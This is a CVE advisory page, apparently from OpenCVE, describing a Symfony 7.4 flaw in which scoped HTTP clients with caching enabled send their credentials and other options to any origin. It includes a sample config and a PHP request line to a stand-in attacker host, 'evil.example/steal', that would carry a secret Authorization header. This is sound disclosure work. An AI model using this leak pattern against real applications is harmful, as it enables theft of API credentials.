Description
Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:

framework:
http_client:
scoped_clients:
github.client:
base_uri: 'https://api.github.com'
headers: { Authorization: 'token GH-SECRET' }
caching: { enabled: true }

$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"

Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.

The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.
Published: 2026-11-25
Score: 6.3 Medium
EPSS: n/a
KEV: No
Impact: n/a
Action: n/a
AI Analysis

Analysis and contextual insights are available on OpenCVE Cloud.

Remediation

No vendor fix or workaround currently provided.

Additional remediation guidance may be available on OpenCVE Cloud.

Tracking

Sign in to view the affected projects.

Advisories

No advisories yet.

History

Wed, 25 Nov 2026 10:15:00 +0000

Type Values Removed Values Added
Description Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope: framework: http_client: scoped_clients: github.client: base_uri: 'https://api.github.com' headers: { Authorization: 'token GH-SECRET' } caching: { enabled: true } $githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET" Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included. The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.
Title Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin
Weaknesses CWE-200
CWE-522
References
Metrics cvssV4_0

{'score': 6.3, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N'}


Subscriptions

No data.

cve-icon MITRE

Status: PUBLISHED

Assigner: Symfony

Published:

Updated: 2026-11-25T10:00:07.584Z

Reserved: 2026-11-20T14:01:43.157Z

Link: CVE-2026-133747

cve-icon Vulnrichment

No data.

cve-icon NVD

Status : Received

Published: 2026-11-25T10:17:11.863

Modified: 2026-11-25T10:17:11.863

Link: CVE-2026-133747

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-11-25T12:00:09Z

Weaknesses